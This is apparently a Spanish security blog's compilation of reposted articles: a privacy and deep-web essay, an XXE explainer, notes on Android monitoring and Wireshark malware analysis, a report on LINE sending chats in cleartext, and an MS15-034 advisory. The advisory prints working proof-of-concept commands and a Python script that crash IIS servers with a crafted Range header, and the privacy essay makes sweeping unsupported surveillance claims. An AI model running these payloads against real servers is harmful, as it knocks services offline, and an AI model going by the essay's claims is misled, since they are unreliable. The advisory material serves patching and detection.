Privacidad?, algunos tips para mantenerla

Buenas noches.

En tiempos atrás cuando no habían tantos foros, páginas, vídeos  y demás medios sociales hablando sobre la supuesta Deep web, la información que se encontraba era buena pero llegaron todos los curiosos y terminaron cerrando todo lo que ya existía.

Es de anotar que hay foros con información asquerosa y poco gustosa para gente cuerda, a no ser de que nosotros seamos los locos, en todo caso no se a quien va dirigido esa información siendo mejor no pensar en ello. Pero es de rescatar foros de buenas técnicas de seguridad, conspiraciones y demás.

Todo se hacia bajo Tor, después de la gran popularidad que obtuvo muchos sitios fueron cerrando y muchas personas fueron siendo capturadas todo por supuesta mente un "fallo" de javascript.

Es curioso si la popularidad de Tor no hubiera crecido, nunca hubieran capturado a tanta gente?, ya tenían esta técnica guardada y solo tenían que volver popular el sistema?. Bueno son cosas que pensar lo mismo la teoría de la desaparición de TrueCrypt donde dicen que no se libera ningún software de criptografia que ciertos gobiernos no tengan "clave tracera".

En todo caso tampoco nos vamos a volver paranoicos y tampoco vamos a tratar de esconder cosas que a simple vista el gobierno no estaría interesado pero si es bueno entrar al detalle de que se esta haciendo actualmente para combatir la falta de privacidad.

Existe un servicio que poco he probado pero tiene buenas referencias se llama i2p, el cual ofrece lo siguiente:

* intercambiar informacion a gran escala con BT/emule/GNUtella/archivos distribuidos

* mantener un blog con el sistema syndie
* sitios de cualquier contenido
* chat 100% anonimos
* email 100% anonimo y/o remailer
* ofrecer servicios
* pagar/recibir pagos con una moneda 100% anonima

  En resumen

- No es posible combatir al oligopolio Empresas + Gobiernos en su terreno
- La internet ya esta perdida, esta bajo el control total de los servicios de seguridad
- Todas las herramientas que dependan de servidores y que NO protejan la privacidad de los usuarios son ENEMIGAS

QUE NOS QUEDA?

Pasar al siguiente nivel de la internet: la deepweb (no confundir, ni mezclar con TOR) y usar aquellas herramientas libres, sin dependencias de servidores y que respeten la privacidad.

PERO NO CONSIGO ENTENDERLO DEL TODO, EXPLICAMELO

Ya nos bombardean con noticias del escandalo Snowden + NSA + Assange... es decir, los datos que estan en la internet abierta (clearnet) o semi-abierta (tor/onion) estan siendo monitoreados, analizados, claisficados y depurados con el fin de:

- conocer e identificar a TODOS
- neutralizar movimientos revolucionarios
- impulsar protestas en contra de gobiernos indeseables
- manipilar la opinion popular
- confundir a las masas cuando sea necesario
- desarticular potenciales movimientos sociales
- aislar a potenciales conflictivos usuarios
- "eliminar" a probables objetivos

Y QUE DEBERIAMOS HACER NOSOTROS?

Abandonar la clearnet y entrar en la deepweb real y comenzar a usar herramientas que

- No necesiten de servidores o hosting centrales
- Permitan y ayuden al anonimato
- Sean descentralizadas
- Permitan un alto grado de privacidad

Y QUE HERRAMIENTAS SON ESAS?

Veamos... por ahora existen

- I2P, un proxy que nos permite entrar en una red deepweb descentralizada y encriptada
- OpenNicProject.org, nos permite liberarnos del monitoreo de las consultas hechas via DNS
- TOX, mensajeria instantanea descentralizada
- Twister, red social descentralizada
- I2Pbote, servicio de email encriptado y descentralizado
- Syndie, foros descentralizados
- Tahoe, cloud social descentralizado y encriptado
- I2Pmessenger, messenger anonimo y descentralizado
- iMule, la mula para i2p, 100% anonimo
- Snark, el bittorrent para i2p, idem.

Y hay varios otros proyectos en desarrollo en esa misma direccion.

Y QUE MAS DEBERIAMOS EVITAR?

WINDOWS, MAC OSX, WINDOWS, MAC OSX, WINDOWS, MAC OSX... cualquier sistema que nos delate!

En conclusión:

Debemos tener cuidado con los datos que pasamos por internet pues estos en definitiva son monitoreados y/o pierde los derechos de si mismo, es decir, al compartir algo ya se sabe que se están perdiendo todos los derechos sobre el mismo.

Para que la privacidad?, bueno de cierta forma a nadie le gusta que le escuchen conversaciones sin ser autorizado, una empresa no le gusta desvelar sus secretos de operativa interna y demás casos que puedan presentarse.

En uso hacktivista la idea es velar por los derechos de privacidad y libre intercambio pero esta ultima parte es debatible por el simple hecho de derechos de autor.

Fuente: http://www.rebeldemule.org/foro/cursos-tutoriales/tema10512.html

Tuits developers divertidos

Buenos días.

Como es sabido los viernes es difícil concentrarse en el trabajo ya que la mente esta pensando en tomarse un descanso, aquí hacemos honor a este sentimiento y bienvenido sea el ocio viernesino.



















Fuente: http://www.genbetadev.com/genbeta-dev/los-tuits-developers-mas-divertidos-abril-2015

Ataques basados en entidades XML

Este tipo de ataques no son ninguna novedad y, que yo sepa, se conocen al menos desde principios del 2002. Sin embargo, cada vez que realizon una auditoría de una aplicación que procesa documentos XML, me suelo encontrar que son vulnerables a inyecciones XXE (XML External Entity) y XEE (XML Entity Expansion). Estas ultimas son menos frecuentes hoy en día debido a las configuraciones por defecto de la mayoría de procesadores por lo en este articulo nos centraremos en las primeras.

Antes de describir como funcionan los ataques XXE necesitamos entender que son las entidades XML. Estas entidades son una forma sencilla de crear aliases en un documento XML que podemos referenciar a lo largo del mismo y que nos pueden ahorrar escribir bastantes líneas de texto y reducir bastante el tamaño de los ficheros XML resultantes. El concepto es el mismo que el de entidades HTML donde existen aliases predefinidos para referenciar caracteres ASCII como &lt; y &gt; para < y >. En el caso de XML, las entidades se declaran en el bloque DOCTYPE. Por ejemplo, en el siguiente documento definimos una entidad llamada “terminos” para referirnos a los términos y condiciones de un contrato y de esta forma reducir el tamaño del XML:

Del mismo modo, podemos hacer referencia a entidades externas y hacer uso de protocolos como http y file para referenciar el texto que queremos que reemplace las entidades. Por ejemplo:

Desde el punto de vista de un atacante, esta característica de XML es muy interesante ya que si una aplicación recibe algún documento XML como entrada, lo procesa; un atacante podrá enviar un documento XML en el cual defina una entidad externa referenciando a cualquier fichero del servidor o recurso de la red interna y volcar el contenido del mismo en la salida. Permitiéndole acceder a cualquier recurso que el servidor de aplicaciones tenga permiso para leer.

Me imagino que estareis pensando que tampoco hay muchas aplicaciones que tomen como entrada un documento XML (ya sea mediante una URL o upload),  sin embargo, hay un tipo de servicios muy populares que están consumiendo documentos XML constantemente; los servicios web ya sean SOAP o RESTFul.

Por centrarnos en algo, echaremos un vistazo a los servicios web de tipo REST que cada vez se usan más para crear APIs para aplicaciones móviles nativas. Si nos fijamos en Java, veremos que los dos frameworks más usados para construir este tipo de servicios son: JAX-RS y SpringMVC.

JAX-RS es un standard y admite varias implementaciones. Todas ellas con el tiempo han deshabilitado la resolución de entidades externas por defecto excepto EasyRest (la implementación de JBoss) que por defecto resolverá las entidades externas a menos que lo configuremos para no hacerlo.

SpringMVC es otro cantar. Spring usa las librerías de Spring OXM para convertir los mensajes en XML en objetos Java que pone a disposición del desarrollador. Realmente SpringOXM no es ningún unmarshaller y lo que hace realmente es hacer de wrapper de otras soluciones como JAXB, Castor, XStream, etc … El problema viene de que aunque librerías como JAXB se puedan configurar para no resolver entidades externas, el wrapper de SpringOXM no solo usa una versión insegura por defecto si no que además no expone ninguna propiedad para poder deshabilitarlo por lo que cualquier servicio web basado en SpringMVC y usando JAXB (la librería por defecto y más popular) será vulnerable a este tipo de ataques. Esta vulnerabilidad fue reportada al equipo de Spring y ha sido corregida en la ultima versión (http://www.securityfocus.com/archive/1/528177). Veamos un ejemplo de cómo funcionaría estos ataques:

Pongamos que tenemos un servicio web de tipo REST que sirve de backend para una aplicación de gestión de contactos. El controlador del servicio tendrá una pinta parecida a esto (muy simplificado):

De tal forma que cuando el servicio reciba un petición para crear un contacto como la mostrada abajo, SpringOXM automágicamente hará un unmarshal del XML y creara un objeto de tipo Contact que almacenara en la base de datos.

La próxima vez que el usuario acceda a través de su aplicación móvil  a los detalles de este contacto, se enviará una petición a “getContact” que devolverá un XML con los detalles del contacto.

La próxima vez que el atacante use su móvil para comprobar el numero de Fulanito, recibirá el contenido del fichero /etc/passwd por el mismo precio :)

Esta vulnerabilidad no se limita unicamente a poder leer ficheros arbitrarios del servidor (que no esta mal ...) tambien puede ser usada para provocar DOS en el servidor (imaginad que leeis el fichero /dev/random) y para llevar a cabo ataques SSRF (Server Side Request Forgery). En este tipo de ataques lo que buscamos es que el servidor genere peticiones por nosotros (a poder ser cualquier tipo de petición y usando cualquier protocolo). De esta forma podremos pivotar en la red interna lanzando ataques desde el propio servidor de aplicaciones y saltandonos cualquier control a nivel de red que normalmente permiten el tráfico originado en el servidor de aplicaciones. Un protocolo muy interesante para lanzar este tipo de ataques el Gopher, pero eso daría para otro post.

Algunos estareis pensando si es posible lanzar este tipo de ataques de forma "ciega", es decir, cuando no podemos observar la salida del procesador XML. Timor Yunusov y Alexey Osipovya pensaron en esto y presentaron este año en la BlackHat Europea una forma de realizar ataques XXE OOB (Out of Band) en los que el propio procesador enviará los datos a un servidor controlado por nosotros.

Dependiendo del lenguaje y los frameworks usados, los procesadores XML resolverán entidades externas por defecto o tendremos que configurarlos de tal forma que no lo hagan. Tenlo en cuenta la próxima vez que programes algo relacionado con XML o hagas una auditoría de una aplicación que lo use.

Para ver mejor la entrada visitar la fuente:

http://www.securitybydefault.com/2013/09/ataques-basados-en-entidades-xml.html

Monitorizando la actividad de tu aplicación Android

HP ha liberado una aplicación gratuita para ayudar a los equipos de seguridad y calidad encontrar vulnerabilidades.
ShadowOS, así se llama, está basado en una versión modificada de Android Kitkat, la cual intercepta la actividad generada en el sistema en general, en las siguientes áreas:

• Acceso al sistema de ficheros. Muestra todo los accesos de lectura y escritura (path + nombre de fichero)
• HTTP/HTTPS. Muestra todas la llamadas HTTP/HTTPS realizadas por la aplicación, incluyendo las realizadas por Webkit.
• SQL Lite. Muestra todas las consultas a SQL Lite, incliyendo apertura, inserts y updates.
• Cordova / PhoneGap. Muestra el tráfico web en aplicaciones basadas en Webkit.

ShadowOS, además de la versión de Android Kitkat, incluye una aplicación monitor, que es la que se comunica y nos muestra toda la actividad en las áreas anteriormente mencionadas.
Requiere:

• Windows Vista o superior
• Privilegios de Administrador
• .Net 4.5
• Android SDK para Windows

Aquí tenéis un vídeo de demostración:

https://youtu.be/rfshPBeVSoc

Para descargar la aplicación (necesita registro): http://go.saas.hp.com/shadow-os

Fuente: http://www.cyberhades.com/2015/04/23/monitorizando-la-actividad-de-tu-aplicacion-android/

MS15-034: parchea ya o muere!

Mattias Geniar ha revelado la aparición de exploits para una vulnerabilidad crítica en HTTP.sys (CVE-2015-1635) de Microsoft Windows que podría permitir a un atacante ejecutar código arbitrario o causar una denegación de servicio.

"Existe una vulnerabilidad de ejecución remota de código en la pila del protocolo HTTP (HTTP.sys) que es causada cuando HTTP.sys analiza de forma incorrecta la sintaxis de ciertas solicitudes HTTP especialmente diseñadas. Un atacante que aproveche esta vulnerabilidad podría ejecutar código arbitrario en el contexto de la cuenta del sistema", en el Microsoft Security Bulletin MS15-034.

"Para aprovechar esta vulnerabilidad, un atacante tendría que enviar una solicitud HTTP especialmente diseñada al sistema afectado. La actualización corrige la vulnerabilidad al modificar la forma en que la pila HTTP de Windows maneja las solicitudes".

Precisamente, Mattias alertó que los primeros fragmentos de código para explotar MS15-034 en IIS están empezando a surgir, y lo peor, es trivial ejecutarlo y los resultados pueden ser catastróficos. Por ejemplo, conseguir que un servidor Win2k12 (y versiones posteriores) se caiga (BOYD) o se reinicie mediante una sóla petición HTTP:

- powershell:

powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}

- curl:

$ curl -v 10.0.1.1/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

- un simple Python:

#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:   
 sys.exit('Give me an IP')
 
Host = sys.argv[1]
 
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()
 
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
 
SendPayload(Init, Host)

- O incluso mediante un simple telnet:

$ telnet 10.0.1.1 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

- También enviando una petición a /welcome.png (2008 R2) o /iis-85.png (Windows Server 2012/R2):

wget --header="Range: bytes=18-18446744073709551615" http://blah-2012-server.com/iis-85.png

Ya véis la facilidad que supone probar estas simples PoC así que ya sabéis... actualizar las firmas de vuestros IPS, de vuestro WAFs y, sobretodo y si todavía no lo has hecho, ¡actualiza el IIS y los servidores Windows tan pronto como sea posible!

pd. Podéis comprobar si los servidores de vuestra LAN con este script de Nmap:
https://github.com/cldrn/nmap/blob/master/scripts/http-vuln-cve2015-1635.nse

Fuentes:
- Remote Code Execution Via HTTP Request In IIS On Windows
- Microsoft Window - HTTP.sys PoC (MS15-034)
- Microsoft Security Bulletin MS15-034 - Critical
- Exploit Code Emerging for Windows HTTP.sys Vulnerability – Patch Now!
- Metasploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb)
- [NSE] Script to detect remote code execution in Microsoft Windows systems (MS15-034)

 Fuente: http://www.hackplayers.com/2015/04/ms15-034-parchea-ya-o-muere.html

Uso de filtros en Wireshark para detectar actividad maliciosa

Desde el Laboratorio de ESET Latinoamérica las muestras son analizadas con el fin de obtener información sobre su comportamiento. El análisis dinámico de red se realiza en gran parte con Wireshark y brinda información en cuanto a las conexiones que se llevan a cabo.

¿Qué es Wireshark?

Wireshark es una herramienta multiplataforma utilizada para realizar análisis sobre paquetes de red. La utilización de esta herramienta puede parecer de gran complejidad en un principio, pero es de gran utilidad una vez conocida su interfaz y su forma de operar. Existen diferentes usos para los cuales puede aplicarse Wireshark. Dentro del análisis dinámico de códigos maliciosos se la utiliza para detectar conexiones ocultas del propio malware con direcciones remotas para obtener otros archivos, para reportarse a un panel de control en caso de una botnet, entre otras variantes.
En primera instancia, para realizar un análisis dinámico de un código malicioso se procede a infectar un sistema en un entorno controlado. Por lo general, se recurre a una máquina virtual. De esta forma, es posible ejecutar Wireshark y seleccionar la interfaz de red de la máquina virtual para comenzar a capturar los paquetes de red. A continuación puede visualizarse una captura de cómo se realiza la mencionada tarea:


Utilización de filtros
Una vez iniciada la captura es posible filtrar los paquetes capturados de acuerdo a la necesidad de quien esté analizando el malware. Como primer tarea, es posible reconocer a que servidores se conectó a través de las peticiones DNS. Para observarlo con más comodidad es posible aplicar un filtro. Específicamente, si se escribe DNS en el campo de los filtros y se lo aplica, serán visibles todas las resoluciones de nombres en direcciones IP. En el caso del malware, permite reconocer con que servidores se conecta. A continuación puede observarse una captura:

Otro aspecto a tener en cuenta son las peticiones realizadas. Aplicando el filtro “http.request” es posible obtener todos los GET y POST que fueron realizados durante el periodo de captura. Este tipo de peticiones es muy utilizado por los códigos maliciosos, incluso para enviar información sobre el sistema infectado. A continuación, puede observarse una captura de un análisis real sobre un malware que obtiene datos y archivos desde un servidor remoto:

Un caso particular han sido aquellos códigos maliciosos que utilizan el protocolo SMTP para propagarse a través de correo electrónico. En estos casos es posible visualizar dichos paquetes a través del filtro SMTP o incluso es posible filtrar los paquetes para observar, por ejemplo, el remitente del correo. Esto se realiza a través del filtro “smtp.req.parameter && contains “FROM“”. De la misma forma, es posible visualizar aquellos paquetes que contienen el cuerpo del mensaje. Esta tarea puede realizarse a través de filtro “smtp.data.fragment”. A continuación puede visualizarse una captura con uno de los filtros aplicado:

Es importante resaltar que los filtros explicados anteriormente no son los únicos. Existen una gran variedad para aplicar de acuerdo a la necesidad. Otro punto a tener en cuenta es que a medida que se obtienen los paquetes de acuerdo al filtro aplicado, es posible obtener toda la secuencia del paquete completo si es necesario. Para ello, solo es necesario colocar el cursor sobre el propio paquete y en el menú contextual elegir la opción de “follow tcp stream”. De esa forma se podrá visualizar el paquete completo tal como se muestra en la siguiente imagen:

Los filtros son de gran utilidad y pueden ser aplicados en conjunto como parte de operaciones lógicas. Pueden utilizarse sobre la captura o especificarse previamente para que solo capturen lo especificado en el propio filtro. Este tipo de herramientas no solo es utilizado en el análisis de malware sino también en el estudio de protocolos de red, la búsqueda de vulnerabilidades y demás aplicaciones.

Fernando Catoira
Analista de Seguridad
Autor Fernando Catoira, ESET

FUENTE: http://www.welivesecurity.com/la-es/2013/01/28/uso-filtros-wireshark-para-detectar-actividad-maliciosa/

LINE vulnerable to man-in-the-middle attack

Naver LINE’s IM app sends messages over 3G networks in clear text, offering no privacy from anyone eavesdropping from within the network. Furthermore its design means that group chat keys intercepted may be reused at a later date to gain access to full chat history dating back months.

Line has 200 million users worldwide with over 18 million in Thailand.

This revelation comes as controversy continues to rage over whether Thailand’s police are intruding on citizens’ privacy by listening in on LINE messages, or whether chat logs would, as Naver’s CEO claims, be only released when presented with a Japanese court order.

Using packet capture software it was possible to intercept a LINE chat session at the network level and reconstruct it on a PC. Messages were sent in clear text to LINE’s server when on cellular data but encrypted when using Wi-Fi most of the time.
Lack of encryption would mean that a man in the middle - an ISP, telco, or arguably the NSA, GCHQ or any of the members of the Axis of Espionage monitoring fiber cables between the user and the server in Japan - could easily listen in on private communications.
An industry network engineer who asked not to be identified presented these findings to TelecomAsia, which then worked with him to verify and expand on the initial findings.
The team was able to write a 20-line python script that took the Cafe-ID a few other tokens intercepted from communication logs and used it to poll LINE’s server with a simple HTTP JSON request for new messages in the group chat. With a little tweaking of the parameters it was possible to get historical chats of the group dating back up to just under two months.

It would be conceivable that somewhere there is someone with a whole keyring of important people’s chatroom IDs collected over time which they could use to listen in at will.
These findings beg the question whether Naver intentionally designed its protocol to be so weak and obfuscated the weakness from network administrators so they would not have any problems entering repressive markets the way BlackBerry faced most notably in India and the Middle East.

It also lends credence to the Thai Police’s claim that LINE was secretly helping them with access to user logs despite repeated denials from the company, both of which now appear to be grammatically correct if misleading.
Thailand’s number one telco AIS is aware of the issue according to SVP for digital products Pratthana Leelapanang. “We realize that the communication of some application is not encrypted. Even [though] it is not our operator service, we are officially requesting LINE to fix such problem to further customer privacy,” he said.

Another AIS executive said that the telco does not save HTTP header metadata or share it with authorities, only the IP source and destination addresses.

However, Naver was adamant that its network is secure when presented with an abstract outline of the attack. A spokesperson said, “When using LINE, bugging and hacking on the users’ communications are impossible. Fundamentally, telecommunication companies’ wireless networks can’t be hacked. Also, while using other networks, such as WiFi, hacking on LINE is impossible since LINE uses HTTPS. Also, all types of authorization codes related with LINE certification are completely encrypted. Therefore, hacking or random change in codes are basically impossible.”
Nothing the spokesperson said addressed the weaknesses of a man-in-the-middle attack from someone within the telco or ISP or of the fact that LINE turned off encryption when on 3G, though the exact question was posed in an abstract form before the proof-of-concept attack was successfully carried out.
Dtac CEO Jon Eddy Abdullah dismissed the experiment as exceptional, insisting that in the real world it was impossible to sniff the keys over the air with a modern, secure telecoms network.
Asked if Dtac was sharing HTTP header metadata information that could be used to download chat logs with the authorities, Abdullah responded according to script, “as we are a Thailand operator, we can allow [access to] any traffic via our core network only in the case that we have got formal requests from responsible public agency to do.”

Shadow ICT Minister Sirichok Sopha was taken aback when presented with the findings. The opposition Democrat party uses LINE for much of its internal communications and said he would be taking the matter up with Naver and warning the party of this attack vector immediately.

Sirichok said that government cannot tell Naver how to write its software but it has a duty to present these issues to the public so they can make an informed decision as to whether or not to use the application given these severe privacy concerns.
TrueMove was contacted but did not reply at time of going to press.

The session keys used to retrieve chat logs may have an expiry date, but that was not evident during the duration of the study. Around 24 hours after the script was created, the same keys still managed to pull chat logs from Naver’s servers.

In a small number of cases the LINE app connected to WiFi unencrypted though it is still unclear how and why that was so. This is of particular concern as all the major telcos run extensive hetnet unencrypted Wi-Fi offload networks.
Additional reporting thanks to Suchit Leesa-nguansuk, Senior Reporter at the Bangkok Post.

FUENTE: http://www.telecomasia.net/blog/content/line-vulnerable-man-middle-attack

EXTRA: http://superman-kartini.blogspot.com/2013/05/protokol-security-line-messenger.html